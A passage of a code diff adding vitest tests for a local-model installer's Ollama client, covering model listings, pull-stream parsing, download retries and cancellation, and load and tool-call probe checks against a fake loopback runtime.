+    const view = buildInstallView(SAMPLE.installed, { ...LIVE, running: true, digest: 'changed' });
+    expect(view.state).toBe('installed');
+    expect(view.error?.code).toBe('model-changed');
+    expect(view.actions).toEqual(['stop', 'remove']);
+  });
+
+  it('a model that was not all on the GPU says so', () => {
+    const view = buildInstallView(
+      { ...SAMPLE.installed, loaded: { ...LOADED, sizeVramBytes: 20_000_000_000 } },
+      { ...LIVE, running: true }
+    );
+    expect(view.loaded?.onGpu).toBe(false);
+  });
+
+  it('every sentence it sends is one of the install labels', () => {
+    const sentences = new Set<string>(Object.values(LOCAL_MODEL_INSTALL_LABELS));
+    for (const code of Object.keys(LOCAL_MODEL_ERROR_LABELS) as LocalModelErrorCode[]) {
+      const error = buildInstallError(code, { vars: { model: 'M' } });
+      expect(sentences.has(error.message.text)).toBe(true);
+      expect(error.next).toBe(LOCAL_MODEL_ERROR_NEXT[code]);
+    }
+  });
+});
+
+describe('formatInstallMessage', () => {
+  it('fills the slots of a sentence', () => {
+    expect(formatInstallMessage({ text: LOCAL_MODEL_INSTALL_LABELS.errPortInUse, vars: { port: '11435' } })).toBe(
+      'Port 11435 is in use by another program.'
+    );
+    expect(
+      formatInstallMessage({
+        text: LOCAL_MODEL_INSTALL_LABELS.errContextNotApplied,
+        vars: { model: 'Qwen3.6 35B-A3B', actual: '32768', wanted: '131072' },
+      })
+    ).toBe('Qwen3.6 35B-A3B loaded with a context of 32768 tokens instead of 131072.');
+  });
+
+  it('leaves a sentence without slots, and a slot without a value, as they are', () => {
+    expect(formatInstallMessage({ text: LOCAL_MODEL_INSTALL_LABELS.conflictJobRunning })).toBe(
+      'An install is already running.'
+    );
+    expect(formatInstallMessage({ text: LOCAL_MODEL_INSTALL_LABELS.errPortInUse })).toBe(
+      'Port {port} is in use by another program.'
+    );
+    // A slot name that is a member of every object is not a value.
+    expect(formatInstallMessage({ text: LOCAL_MODEL_INSTALL_LABELS.errPortInUse, vars: {} })).toContain('{port}');
+  });
+});

test/local-model-ollama-client.test.ts

@@ -0,0 +1,950 @@
+/**
+ * @fileoverview Tests for src/local-model/ollama-client.ts: what Codeman asks its own model
+ * runtime, and the pure functions that read the answers.
+ *
+ * Laid out like the module:
+ *
+ * 1. The listings (`/api/version`, `/api/tags`, `/api/ps`, `/v1/models`, the delete), against
+ *    the fake runtime, and what each answers when nothing listens.
+ * 2. The pull parser, pure: the two real line shapes fed in small pieces across line breaks, an
+ *    error line, a resumed pull, and that it keeps no line.
+ * 3. `pullModel()` against the fake: the total it reports, progress, an error line and a cut
+ *    stream that are retried, the cap of 5 retries, a model the registry does not have (no
+ *    retry), a resumed pull, and Cancel.
+ * 4. The check after the pull: the two request bodies, the two judges (pure), and
+ *    `verifyModel()` against the fake for every way it can end, the answer without a tool call
+ *    among them.
+ *
+ * Port: none fixed (the fake runtime listens on 0).
+ */
+
+import { afterEach, describe, expect, it } from 'vitest';
+import {
+  buildChatProbeRequest,
+  buildToolProbeRequest,
+  createPullParser,
+  deleteModel,
+  getRuntimeVersion,
+  judgeLoaded,
+  judgeToolProbe,
+  listOpenAiModels,
+  listRunning,
+  listTags,
+  PULL_RETRIES,
+  pullModel,
+  readModelDigest,
+  TOOL_PROBE_MAX_TOKENS,
+  verifyModel,
+  type OllamaPsModel,
+  type OllamaTarget,
+  type PullProgress,
+} from '../src/local-model/ollama-client.js';
+import {
+  DEFAULT_FAKE_MODEL,
+  freeLoopbackPort,
+  REAL_PULL_ERROR_LINE,
+  startFakeOllama,
+  type FakeOllama,
+  type FakeOllamaOptions,
+} from './fixtures/fake-ollama.js';
+
+const MODEL = DEFAULT_FAKE_MODEL.id;
+const MODEL_BYTES = DEFAULT_FAKE_MODEL.bytes;
+const CONTEXT = 131072;
+
+let fake: FakeOllama | undefined;
+
+afterEach(async () => {
+  await fake?.close();
+  fake = undefined;
+});
+
+/** Starts the fake and returns the target that points at it. */
+async function runtime(options: FakeOllamaOptions = {}): Promise<{ fake: FakeOllama; target: OllamaTarget }> {
+  fake = await startFakeOllama(options);
+  return { fake, target: { baseUrl: fake.baseUrl } };
+}
+
+/** A target nothing listens on. */
+async function deadTarget(): Promise<OllamaTarget> {
+  return { baseUrl: `http://127.0.0.1:${await freeLoopbackPort()}` };
+}
+
+/** No waiting between retries. */
+const noSleep = async (): Promise<void> => undefined;
+
+// ---------- 1. Listings ----------
+
+describe('the listings', () => {
+  it('reads the version of a runtime', async () => {
+    const { target } = await runtime();
+    expect(await getRuntimeVersion(target)).toBe('0.40.15');
+  });
+
+  it('answers undefined for a port nothing listens on, and for a listener that is no runtime', async () => {
+    expect(await getRuntimeVersion(await deadTarget())).toBeUndefined();
+    // Something answers, but not with a version.
+    const notARuntime: OllamaTarget = {
+      baseUrl: 'http://127.0.0.1:1',
+      fetch: async () => new Response('<html>hello</html>', { status: 200 }),
+    };
+    expect(await getRuntimeVersion(notARuntime)).toBeUndefined();
+    const wrongShape: OllamaTarget = {
+      baseUrl: 'http://127.0.0.1:1',
+      fetch: async () => new Response(JSON.stringify({ version: 42 }), { status: 200 }),
+    };
+    expect(await getRuntimeVersion(wrongShape)).toBeUndefined();
+    const refused: OllamaTarget = {
+      baseUrl: 'http://127.0.0.1:1',
+      fetch: async () => new Response(JSON.stringify({ version: '0.40.15' }), { status: 503 }),
+    };
+    expect(await getRuntimeVersion(refused)).toBeUndefined();
+  });
+
+  it('lists the model on disk with what a Mac reports: size, digest, format, runner', async () => {
+    const { target } = await runtime({ installed: true });
+    expect(await listTags(target)).toEqual([
+      {
+        name: 'qwen3.6:35b-a3b',
+        size: 23_105_798_956,
+        digest: '0ce5ff81f9ffdf89dd8192ca7b5d34cefd8996a875b3aaaaafaf5c4813569eba',
+        format: 'safetensors',
+        runner: 'mlx',
+        capabilities: ['completion', 'vision', 'tools', 'thinking'],
+      },
+    ]);
+    expect(await readModelDigest(target, MODEL)).toBe(DEFAULT_FAKE_MODEL.digest);
+    expect(await readModelDigest(target, 'qwen3.5:9b')).toBeUndefined();
+  });
+
+  it('stores a digest in one form: lowercase hex without the prefix', async () => {
+    const target: OllamaTarget = {
+      baseUrl: 'http://127.0.0.1:1',
+      fetch: async () =>
+        new Response(JSON.stringify({ models: [{ name: MODEL, size: 1, digest: 'sha256:0CE5FF81' }] }), {
+          status: 200,
+        }),
+    };
+    expect(await readModelDigest(target, MODEL)).toBe('0ce5ff81');
+  });
+
+  it('lists nothing on an empty store, and reads the "data: null" of the OpenAI route as no model', async () => {
+    const { target } = await runtime();
+    expect(await listTags(target)).toEqual([]);
+    expect(await listRunning(target)).toEqual([]);
+    expect(await listOpenAiModels(target)).toEqual([]);
+    expect(await readModelDigest(target, MODEL)).toBeUndefined();
+  });
+
+  it('lists the model ids of the OpenAI route exactly as they are listed', async () => {
+    const { target } = await runtime({ installed: true });
+    expect(await listOpenAiModels(target)).toEqual(['qwen3.6:35b-a3b']);
+  });
+
+  it('lists a loaded model with its memory, the part on the GPU and its context', async () => {
+    const { fake: server, target } = await runtime({ installed: true });
+    expect(await listRunning(target)).toEqual([]);
+    server.state.loaded = true;
+    expect(await listRunning(target)).toEqual([
+      {
+        name: 'qwen3.6:35b-a3b',
+        size: 23_205_798_956,
+        sizeVram: 23_205_798_956,
+        contextLength: 131072,
+        digest: DEFAULT_FAKE_MODEL.digest,
+      },
+    ]);
+  });
+
+  it('answers an empty list, never an exception, when nothing listens', async () => {
+    const target = await deadTarget();
+    expect(await listTags(target)).toEqual([]);
+    expect(await listRunning(target)).toEqual([]);
+    expect(await listOpenAiModels(target)).toEqual([]);
+    expect(await readModelDigest(target, MODEL)).toBeUndefined();
+  });
+
+  it('skips rows that are not models instead of failing on them', async () => {
+    const target: OllamaTarget = {
+      baseUrl: 'http://127.0.0.1:1',
+      fetch: async () =>
+        new Response(JSON.stringify({ models: [null, 'x', {}, { name: 'a:b' }, { model: 'c:d', size: -1 }] }), {
+          status: 200,
+        }),
+    };
+    expect(await listTags(target)).toEqual([
+      { name: 'a:b', size: 0, digest: '' },
+      { name: 'c:d', size: 0, digest: '' },
+    ]);
+    // A row without a digest has none to compare.
+    expect(await readModelDigest(target, 'a:b')).toBeUndefined();
+  });
+
+  it('deletes a model, and calls a model that never was there gone too', async () => {
+    const { fake: server, target } = await runtime({ installed: true });
+    expect(await deleteModel(target, MODEL)).toBe(true);
+    expect(server.requests.at(-1)).toMatchObject({ method: 'DELETE', path: '/api/delete', body: { model: MODEL } });
+    expect(await listTags(target)).toEqual([]);
+    // The runtime answers 404 for it now.
+    expect(await deleteModel(target, MODEL)).toBe(true);
+    // No runtime: nothing was deleted, and it says so.
+    expect(await deleteModel(await deadTarget(), MODEL)).toBe(false);
+  });
+
+  it('gives up on a listing when the caller aborts', async () => {
+    const { target } = await runtime({ installed: true });
+    const controller = new AbortController();
+    controller.abort();
+    expect(await listTags(target, controller.signal)).toEqual([]);
+    expect(await getRuntimeVersion(target, controller.signal)).toBeUndefined();
+  });
+});
+
+// ---------- 2. The pull parser ----------
+
+describe('createPullParser', () => {
+  const mlxLine = (completed: number): string =>
+    JSON.stringify({ status: 'pulling model', digest: 'sha256:model', total: MODEL_BYTES, completed });
+
+  it('adds up the line shape of an MLX build', () => {
+    const parser = createPullParser();
+    parser.push('{"status":"pulling manifest"}\n');
+    expect(parser.snapshot()).toEqual({
+      completedBytes: 0,
+      totalBytes: 0,
+      status: 'pulling manifest',
+      succeeded: false,
+      lines: 1,
+    });
+    parser.push(`${mlxLine(0)}\n${mlxLine(6_200_000_000)}\n`);
+    expect(parser.snapshot()).toMatchObject({ completedBytes: 6_200_000_000, totalBytes: 23_105_798_956, lines: 3 });
+    parser.push(`${mlxLine(MODEL_BYTES)}\n{"status":"writing manifest"}\n{"status":"success"}\n`);
+    parser.end();
+    expect(parser.snapshot()).toEqual({
+      completedBytes: 23_105_798_956,
+      totalBytes: 23_105_798_956,
+      status: 'success',
+      succeeded: true,
+      lines: 6,
+    });
+  });
+
+  it('reads the same stream whatever the size of the pieces, also across line breaks', () => {
+    const stream =
+      ['{"status":"pulling manifest"}', mlxLine(0), mlxLine(1_000), mlxLine(999_999_999), mlxLine(MODEL_BYTES)].join(
+        '\n'
+      ) + '\n{"status":"writing manifest"}\n{"status":"success"}\n';
+    const whole = createPullParser();
+    whole.push(stream);
+    whole.end();
+    const expected = whole.snapshot();
+    expect(expected).toMatchObject({ succeeded: true, completedBytes: MODEL_BYTES, lines: 7 });
+
+    for (const size of [1, 2, 3, 5, 7, 13, 64, 1000]) {
+      const parser = createPullParser();
+      for (let at = 0; at < stream.length; at += size) parser.push(stream.slice(at, at + size));
+      parser.end();
+      expect(parser.snapshot(), `pieces of ${size}`).toEqual(expected);
+    }
+    // And as bytes, one at a time: what a socket may really deliver.
+    const bytes = new TextEncoder().encode(stream);
+    const parser = createPullParser();
+    for (const byte of bytes) parser.push(Uint8Array.of(byte));
+    parser.end();
+    expect(parser.snapshot()).toEqual(expected);
+  });
+
+  it('survives a character of several bytes that is split between two pieces', () => {
+    const bytes = new TextEncoder().encode('{"status":"lädt Manifest ✓"}\n{"status":"success"}\n');
+    for (let cut = 1; cut < bytes.length; cut++) {
+      const parser = createPullParser();
+      parser.push(bytes.subarray(0, cut));
+      parser.push(bytes.subarray(cut));
+      parser.end();
+      expect(parser.snapshot(), `cut at ${cut}`).toMatchObject({ succeeded: true, lines: 2 });
+    }
+    const parser = createPullParser();
+    parser.push(bytes.subarray(0, 14));
+    parser.push(bytes.subarray(14));
+    expect(parser.snapshot().lines).toBe(2);
+  });
+
+  it('adds up the layers of a GGUF build, each announced without "completed" first', () => {
+    const parser = createPullParser();
+    const big = { status: 'pulling c5396e06af29', digest: 'sha256:c5396e06af29aaaa', total: 397_807_936 };
+    const small = { status: 'pulling 66b9ea09bd5b', digest: 'sha256:66b9ea09bd5bbbbb', total: 68 };
+    parser.push(`${JSON.stringify(big)}\n`);
+    // Known, nothing downloaded yet.
+    expect(parser.snapshot()).toMatchObject({ totalBytes: 397_807_936, completedBytes: 0 });
+    parser.push(`${JSON.stringify({ ...big, completed: 100_000_000 })}\n`);
+    parser.push(`${JSON.stringify(small)}\n`);
+    // The total grows when a new layer appears; a line without "completed" keeps what was seen.
+    parser.push(`${JSON.stringify(big)}\n`);
+    expect(parser.snapshot()).toMatchObject({ totalBytes: 397_808_004, completedBytes: 100_000_000 });
+    parser.push(`${JSON.stringify({ ...big, completed: 397_807_936 })}\n`);
+    parser.push(`${JSON.stringify({ ...small, completed: 68 })}\n`);
+    parser.push('{"status":"verifying sha256 digest"}\n{"status":"writing manifest"}\n{"status":"success"}\n');
+    expect(parser.snapshot()).toEqual({
+      completedBytes: 397_808_004,
+      totalBytes: 397_808_004,
+      status: 'success',
+      succeeded: true,
+      lines: 9,
+    });
+  });
+
+  it('reads a resumed pull from where it starts, not from zero', () => {
+    const parser = createPullParser();
+    parser.push(`{"status":"pulling manifest"}\n${mlxLine(11_000_000_000)}\n`);
+    expect(parser.snapshot()).toMatchObject({ completedBytes: 11_000_000_000, totalBytes: MODEL_BYTES });
+  });
+
+  it('keeps the text of an error line, the real one included', () => {
+    const parser = createPullParser();
+    parser.push(`{"status":"pulling manifest"}\n${mlxLine(5)}\n${REAL_PULL_ERROR_LINE}\n`);
+    parser.end();
+    expect(parser.snapshot()).toEqual({
+      completedBytes: 5,
+      totalBytes: MODEL_BYTES,
+      status: 'pulling model',
+      succeeded: false,
+      error: 'max retries exceeded: local error: tls: bad record MAC',
+      lines: 3,
+    });
+    // The first error stays.
+    parser.push('{"error":"another"}\n');
+    expect(parser.snapshot().error).toBe('max retries exceeded: local error: tls: bad record MAC');
+  });
+
+  it('reads a last line that has no line break only when the body ends', () => {
+    const parser = createPullParser();
+    parser.push('{"status":"success"}');
+    expect(parser.snapshot()).toMatchObject({ succeeded: false, lines: 0 });
+    parser.end();
+    expect(parser.snapshot()).toMatchObject({ succeeded: true, lines: 1 });
+  });
+
+  it('skips a line that is not JSON and still counts it; a blank line is no line', () => {
+    const parser = createPullParser();
+    parser.push('not json\n\n   \n[1,2]\n"text"\nnull\n{"status":"success"}\n');
+    expect(parser.snapshot()).toEqual({
+      completedBytes: 0,
+      totalBytes: 0,
+      status: 'success',
+      succeeded: true,
+      lines: 5,
+    });
+  });
+
+  it('never lets "completed" pass "total", and ignores sizes that are no byte counts', () => {
+    const parser = createPullParser();
+    parser.push('{"status":"pulling a","digest":"sha256:a","total":100,"completed":250}\n');
+    parser.push('{"status":"pulling b","digest":"sha256:b","total":-5,"completed":1}\n');
+    parser.push('{"status":"pulling c","digest":"sha256:c","total":"100","completed":1}\n');
+    expect(parser.snapshot()).toMatchObject({ completedBytes: 100, totalBytes: 100 });
+  });
+
+  it('keeps no line: a million progress lines leave it as small as ten', () => {
+    // What it holds is one entry per layer and the unfinished line. Proven by its answers: the
+    // totals are those of the LAST line of each layer, and the count is every line.
+    const parser = createPullParser();
+    const lines = 200_000;
+    let block = '';
+    for (let i = 1; i <= lines; i++) {
+      block += `${mlxLine(i * 1000)}\n`;
+      if (i % 5000 === 0) {
+        parser.push(block);
+        block = '';
+      }
+    }
+    parser.end();
+    expect(parser.snapshot()).toEqual({
+      completedBytes: lines * 1000,
+      totalBytes: MODEL_BYTES,
+      status: 'pulling model',
+      succeeded: false,
+      lines,
+    });
+  });
+
+  it('drops a "line" that never ends instead of buffering it', () => {
+    const parser = createPullParser();
+    // Three megabytes without a line break, then the stream goes on normally.
+    for (let i = 0; i < 3; i++) parser.push('x'.repeat(1024 * 1024));
+    parser.push('tail of the endless line\n{"status":"success"}\n');
+    expect(parser.snapshot()).toMatchObject({ succeeded: true, lines: 2 });
+  });
+});
+
+// ---------- 3. pullModel ----------
+
+describe('pullModel', () => {
+  it('pulls the model and reports the total of the pull itself', async () => {
+    const { fake: server, target } = await runtime();
+    const seen: PullProgress[] = [];
+    const result = await pullModel(target, MODEL, { onProgress: (progress) => seen.push(progress) });
+    expect(result).toEqual({ ok: true, totalBytes: 23_105_798_956 });
+    expect(server.state.installed).toBe(true);
+    expect(server.requests.filter((r) => r.path === '/api/pull')).toEqual([
+      expect.objectContaining({ method: 'POST', body: { model: MODEL, stream: true } }),
+    ]);
+    // The last report is the finished pull, and no report runs backwards.
+    expect(seen.at(-1)).toMatchObject({ completedBytes: MODEL_BYTES, totalBytes: MODEL_BYTES });
+    for (let i = 1; i < seen.length; i++) {
+      expect(seen[i].completedBytes).toBeGreaterThanOrEqual(seen[i - 1].completedBytes);
+    }
+    for (const progress of seen) expect(progress.totalBytes).toBe(MODEL_BYTES);
+  });
+
+  it('adds up the layers of a GGUF pull to the same total', async () => {
+    const { target } = await runtime({ pull: { shape: 'gguf', progressLines: 6 } });
+    expect(await pullModel(target, MODEL)).toEqual({ ok: true, totalBytes: MODEL_BYTES });
+  });
+
+  it('reports a speed from the clock it is given', async () => {
+    const { target } = await runtime({ pull: { progressLines: 8, lineDelayMs: 5 } });
+    const seen: PullProgress[] = [];
+    let clock = 0;
+    const result = await pullModel(target, MODEL, {
+      onProgress: (progress) => seen.push(progress),
+      // One second passes between two looks at the clock.
+      now: () => (clock += 1000),
+    });
+    expect(result.ok).toBe(true);
+    const speeds = seen.flatMap((progress) => (progress.bytesPerSecond === undefined ? [] : [progress.bytesPerSecond]));
+    expect(speeds.length).toBeGreaterThan(0);
+    for (const speed of speeds) {
+      expect(Number.isInteger(speed)).toBe(true);
+      expect(speed).toBeGreaterThanOrEqual(0);
+    }
+    // The first report has nothing to compare with.
+    expect(seen[0].bytesPerSecond).toBeUndefined();
+    expect(Math.max(...speeds)).toBeGreaterThan(0);
+  });
+
+  it('starts again after an error line, and the new pull continues where the last one stopped', async () => {
+    const { fake: server, target } = await runtime({
+      pull: { fail: 'error-line', failTimes: 2, failAfterLines: 10, progressLines: 20 },
+    });
+    const waits: number[] = [];
+    const firstOfEachPull: number[] = [];
+    let last = -1;
+    const result = await pullModel(target, MODEL, {
+      sleep: async (ms) => {
+        waits.push(ms);
+        last = -1;
+      },
+      onProgress: (progress) => {
+        if (last === -1) firstOfEachPull.push(progress.completedBytes);
+        last = progress.completedBytes;
+      },
+    });
+    expect(result).toEqual({ ok: true, totalBytes: MODEL_BYTES });
+    // Two failures, then the one that succeeded.
+    expect(server.state.pulls).toBe(3);
+    // It waits before each retry, longer every time.
+    expect(waits).toEqual([1000, 2000]);
+    // The second and third pull do not start at zero.
+    expect(firstOfEachPull).toHaveLength(3);
+    expect(firstOfEachPull[1]).toBeGreaterThan(0);
+    expect(firstOfEachPull[2]).toBeGreaterThan(firstOfEachPull[1]);
+  });
+
+  it('starts again after a stream that was cut without a word', async () => {
+    const { fake: server, target } = await runtime({ pull: { fail: 'cut', failTimes: 1 } });
+    expect(await pullModel(target, MODEL, { sleep: noSleep })).toEqual({ ok: true, totalBytes: MODEL_BYTES });
+    expect(server.state.pulls).toBe(2);
+  });
+
+  it('gives up after 5 retries, with the error the runtime gave', async () => {
+    expect(PULL_RETRIES).toBe(5);
+    const { fake: server, target } = await runtime({ pull: { fail: 'error-line' } });
+    const waits: number[] = [];
+    const result = await pullModel(target, MODEL, { sleep: async (ms) => void waits.push(ms) });
+    expect(result).toEqual({
+      ok: false,
+      code: 'pull-failed',
+      detail: 'max retries exceeded: local error: tls: bad record MAC',
+    });
+    // The first pull and five more.
+    expect(server.state.pulls).toBe(6);
+    expect(waits).toEqual([1000, 2000, 4000, 8000, 16000]);
+    expect(server.state.installed).toBe(false);
+  });
+
+  it('gives up on a stream that is cut every time, and says that it ended early', async () => {
+    const { fake: server, target } = await runtime({ pull: { fail: 'cut' } });
+    const result = await pullModel(target, MODEL, { sleep: noSleep, retries: 2 });
+    expect(result).toMatchObject({ ok: false, code: 'pull-failed' });
+    expect((result as { detail?: string }).detail).toBeTruthy();
+    expect(server.state.pulls).toBe(3);
+  });
+
+  it('does not retry when 0 retries are asked for, and falls back to 5 for a nonsense count', async () => {
+    const { fake: server, target } = await runtime({ pull: { fail: 'error-line' } });
+    expect(await pullModel(target, MODEL, { sleep: noSleep, retries: 0 })).toMatchObject({ code: 'pull-failed' });
+    expect(server.state.pulls).toBe(1);
+    await pullModel(target, MODEL, { sleep: noSleep, retries: -3 });
+    expect(server.state.pulls).toBe(1 + 6);
+  });
+
+  it('does not ask again for a model the registry does not have', async () => {
+    const { fake: server, target } = await runtime({ pull: { fail: 'not-found' } });
+    const result = await pullModel(target, MODEL, { sleep: noSleep });
+    expect(result).toEqual({
+      ok: false,
+      code: 'model-not-found',
+      detail: 'pull model manifest: file does not exist',
+    });
+    expect(server.state.pulls).toBe(1);
+  });
+
+  it('does not ask again when the disk is full', async () => {
+    const target: OllamaTarget = {
+      baseUrl: 'http://127.0.0.1:1',
+      fetch: async () =>
+        new Response(
+          '{"status":"pulling manifest"}\n{"error":"write /models/blobs/sha256-abc-partial: no space left on device"}\n',
+          { status: 200 }
+        ),
+    };
+    let asked = 0;
+    const counting: OllamaTarget = {
+      ...target,
+      fetch: (...args) => {
+        asked += 1;
+        return (target.fetch as typeof fetch)(...args);
+      },
+    };
+    expect(await pullModel(counting, MODEL, { sleep: noSleep })).toMatchObject({ ok: false, code: 'disk-full' });
+    expect(asked).toBe(1);
+  });
+
+  it('retries, then fails, when no runtime answers at all', async () => {
+    const waits: number[] = [];
+    const result = await pullModel(await deadTarget(), MODEL, { sleep: async (ms) => void waits.push(ms), retries: 2 });
+    expect(result).toMatchObject({ ok: false, code: 'pull-failed' });
+    expect(waits).toHaveLength(2);
+  });
+
+  it('continues a pull that an earlier run left unfinished', async () => {
+    const { target } = await runtime({ pull: { resumeFrom: 11_000_000_000 } });
+    const seen: number[] = [];
+    const result = await pullModel(target, MODEL, { onProgress: (progress) => seen.push(progress.completedBytes) });
+    expect(result).toEqual({ ok: true, totalBytes: MODEL_BYTES });
+    // The first figure the window shows is where the earlier run stopped.
+    expect(seen[0]).toBeGreaterThanOrEqual(11_000_000_000);
+  });
+
+  it('reports the size of a model that was complete already, when the pull names no layer', async () => {
+    // A runtime that answers "success" at once: the size is what it lists for the model.
+    const { fake: server } = await runtime({ installed: true });
+    const target: OllamaTarget = {
+      baseUrl: server.baseUrl,
+      fetch: async (input, init) =>
+        String(input).endsWith('/api/pull')
+          ? new Response('{"status":"pulling manifest"}\n{"status":"success"}\n', { status: 200 })
+          : fetch(input, init),
+    };
+    expect(await pullModel(target, MODEL)).toEqual({ ok: true, totalBytes: MODEL_BYTES });
+  });
+
+  it('stops the download when the caller cancels, and does not start again', async () => {
+    const { fake: server, target } = await runtime({ pull: { progressLines: 200, lineDelayMs: 10 } });
+    const controller = new AbortController();
+    const seen: PullProgress[] = [];
+    const result = await pullModel(target, MODEL, {
+      signal: controller.signal,
+      sleep: noSleep,
+      onProgress: (progress) => {
+        seen.push(progress);
+        controller.abort();
+      },
+    });
+    expect(result).toEqual({ ok: false, code: 'cancelled' });
+    expect(seen).toHaveLength(1);
+    expect(server.state.pulls).toBe(1);
+    expect(server.state.installed).toBe(false);
+    // Pulling again is the resume: it starts where the cancelled one stopped.
+    server.switches.pull.lineDelayMs = 0;
+    const again: number[] = [];
+    expect(await pullModel(target, MODEL, { onProgress: (p) => again.push(p.completedBytes) })).toEqual({
+      ok: true,
+      totalBytes: MODEL_BYTES,
+    });
+    expect(again[0]).toBeGreaterThan(0);
+  });
+
+  it('answers cancelled at once for a signal that is already aborted', async () => {
+    const { fake: server, target } = await runtime();
+    const controller = new AbortController();
+    controller.abort();
+    expect(await pullModel(target, MODEL, { signal: controller.signal })).toEqual({ ok: false, code: 'cancelled' });
+    expect(server.state.pulls).toBe(0);
+  });
+
+  it('calls a cancel a cancel also on its last try, never a failed download', async () => {
+    // With no retry left, the cut stream of an abort must not read as "the download keeps stopping".
+    const { fake: server, target } = await runtime({ pull: { progressLines: 200, lineDelayMs: 10 } });
+    const controller = new AbortController();
+    const result = await pullModel(target, MODEL, {
+      signal: controller.signal,
+      retries: 0,
+      onProgress: () => controller.abort(),
+    });
+    expect(result).toEqual({ ok: false, code: 'cancelled' });
+    expect(server.state.pulls).toBe(1);
+  });
+
+  it('does not let a progress callback that throws fail the download', async () => {
+    const { fake: server, target } = await runtime();
+    let called = 0;
+    const result = await pullModel(target, MODEL, {
+      sleep: noSleep,
+      onProgress: () => {
+        called += 1;
+        throw new Error('the window is gone');
+      },
+    });
+    expect(called).toBeGreaterThan(0);
+    expect(result).toEqual({ ok: true, totalBytes: MODEL_BYTES });
+    expect(server.state.pulls).toBe(1);
+  });
+
+  it('answers with a result, not an exception, when its own clock throws', async () => {
+    const { target } = await runtime();
+    const result = await pullModel(target, MODEL, {
+      sleep: noSleep,
+      retries: 1,
+      onProgress: () => undefined,
+      now: () => {
+        throw new Error('no clock');
+      },
+    });
+    expect(result).toEqual({ ok: false, code: 'pull-failed', detail: 'no clock' });
+  });
+});
+
+// ---------- 4. The check after the pull ----------
+
+describe('the probe requests', () => {
+  it('builds a tiny chat with reasoning off', () => {
+    expect(buildChatProbeRequest(MODEL)).toEqual({
+      model: MODEL,
+      messages: [{ role: 'user', content: 'Reply with the single word: ready' }],
+      reasoning_effort: 'none',
+      max_tokens: 16,
+      temperature: 0,
+      stream: false,
+    });
+    expect(buildChatProbeRequest(MODEL)).not.toHaveProperty('tools');
+  });
+
+  it('builds a tool probe with a tools array, reasoning off and 1024 tokens', () => {
+    expect(TOOL_PROBE_MAX_TOKENS).toBe(1024);
+    const request = buildToolProbeRequest(MODEL) as {
+      model: string;
+      messages: { role: string; content: string }[];
+      tools: { type: string; function: { name: string; parameters: { type: string; required: string[] } } }[];
+      reasoning_effort: string;
+      max_tokens: number;
+      stream: boolean;
+    };
+    expect(request.model).toBe(MODEL);
+    expect(request.reasoning_effort).toBe('none');
+    expect(request.max_tokens).toBe(1024);
+    expect(request.stream).toBe(false);
+    expect(request.tools.map((tool) => [tool.type, tool.function.name])).toEqual([
+      ['function', 'read_file'],
+      ['function', 'write_file'],
+      ['function', 'run_command'],
+    ]);
+    for (const tool of request.tools) {
+      expect(tool.function.parameters.type).toBe('object');
+      expect(tool.function.parameters.required.length).toBeGreaterThan(0);
+    }
+    // The task can only be done with a tool.
+    expect(request.messages.at(-1)).toEqual({
+      role: 'user',
+      content: 'Read the file README.md and tell me what it says.',
+    });
+    // Nothing forces the call: the model has to decide to make it.
+    expect(request).not.toHaveProperty('tool_choice');
+  });
+});
+
+describe('judgeLoaded', () => {
+  const loaded = (overrides: Partial<OllamaPsModel> = {}): OllamaPsModel => ({
+    name: MODEL,
+    size: 23_205_798_956,
+    sizeVram: 23_205_798_956,
+    contextLength: CONTEXT,
+    ...overrides,
+  });
+
+  it('passes a model that is all on the GPU at the chosen context', () => {
+    expect(judgeLoaded([loaded()], MODEL, CONTEXT)).toEqual({
+      ok: true,
+      loaded: { context: 131072, sizeBytes: 23_205_798_956, sizeVramBytes: 23_205_798_956 },
+    });
+    // Another loaded model beside it does not matter.
+    expect(judgeLoaded([loaded({ name: 'other:1', contextLength: 4096 }), loaded()], MODEL, CONTEXT).ok).toBe(true);
+  });
+
+  it('answers load-failed when the model is not listed', () => {
+    expect(judgeLoaded([], MODEL, CONTEXT)).toMatchObject({ ok: false, code: 'load-failed' });
+    expect(judgeLoaded([loaded({ name: 'other:1' })], MODEL, CONTEXT)).toMatchObject({
+      ok: false,
+      code: 'load-failed',
+    });
+    expect(judgeLoaded([loaded({ size: 0, sizeVram: 0 })], MODEL, CONTEXT)).toMatchObject({
+      ok: false,
+      code: 'load-failed',
+    });
+  });
+
+  it('answers does-not-fit when part of the model is not on the GPU', () => {
+    const judged = judgeLoaded([loaded({ sizeVram: 20_000_000_000 })], MODEL, CONTEXT);
+    expect(judged).toEqual({
+      ok: false,
+      code: 'does-not-fit',
+      detail: '20.0 of 23.2 GB of the model are on the GPU',
+    });
+    // One byte is enough.
+    expect(judgeLoaded([loaded({ sizeVram: 23_205_798_955 })], MODEL, CONTEXT)).toMatchObject({ code: 'does-not-fit' });
+    expect(judgeLoaded([loaded({ sizeVram: 0 })], MODEL, CONTEXT)).toMatchObject({ code: 'does-not-fit' });
+  });
+
+  it('answers context-not-applied when the runtime loaded another context', () => {
+    expect(judgeLoaded([loaded({ contextLength: 32768 })], MODEL, CONTEXT)).toEqual({
+      ok: false,
+      code: 'context-not-applied',
+      detail: 'The runtime reports a context of 32768 tokens, not 131072',
+    });
+    // A larger one is not the chosen one either.
+    expect(judgeLoaded([loaded({ contextLength: 262144 })], MODEL, CONTEXT)).toMatchObject({
+      code: 'context-not-applied',
+    });
+  });
+
+  it('looks at the GPU before the context', () => {
+    expect(judgeLoaded([loaded({ sizeVram: 1, contextLength: 4096 })], MODEL, CONTEXT)).toMatchObject({
+      code: 'does-not-fit',
+    });
+  });
+});
+
+describe('judgeToolProbe', () => {
+  /** An answer of `/v1/chat/completions` with this message and finish reason. */
+  const answer = (message: Record<string, unknown>, finishReason: string): unknown => ({
+    id: 'chatcmpl-1',
+    object: 'chat.completion',
+    choices: [{ index: 0, message: { role: 'assistant', ...message }, finish_reason: finishReason }],
+  });
+  const call = (argumentsValue: unknown, name: unknown = 'read_file'): Record<string, unknown> => ({
+    id: 'call_1',
+    index: 0,
+    type: 'function',
+    function: { name, arguments: argumentsValue },
+  });
+
+  it('passes on a tool call whose arguments parse as a JSON object', () => {
+    expect(
+      judgeToolProbe(200, answer({ content: '', tool_calls: [call('{"path":"README.md"}')] }, 'tool_calls'))
+    ).toEqual({ ok: true });
+    // Arguments that are an object already, and an empty object, are arguments too.
+    expect(judgeToolProbe(200, answer({ tool_calls: [call({ path: 'README.md' })] }, 'tool_calls'))).toEqual({
+      ok: true,
+    });
+    expect(judgeToolProbe(200, answer({ tool_calls: [call('{}')] }, 'tool_calls'))).toEqual({ ok: true });
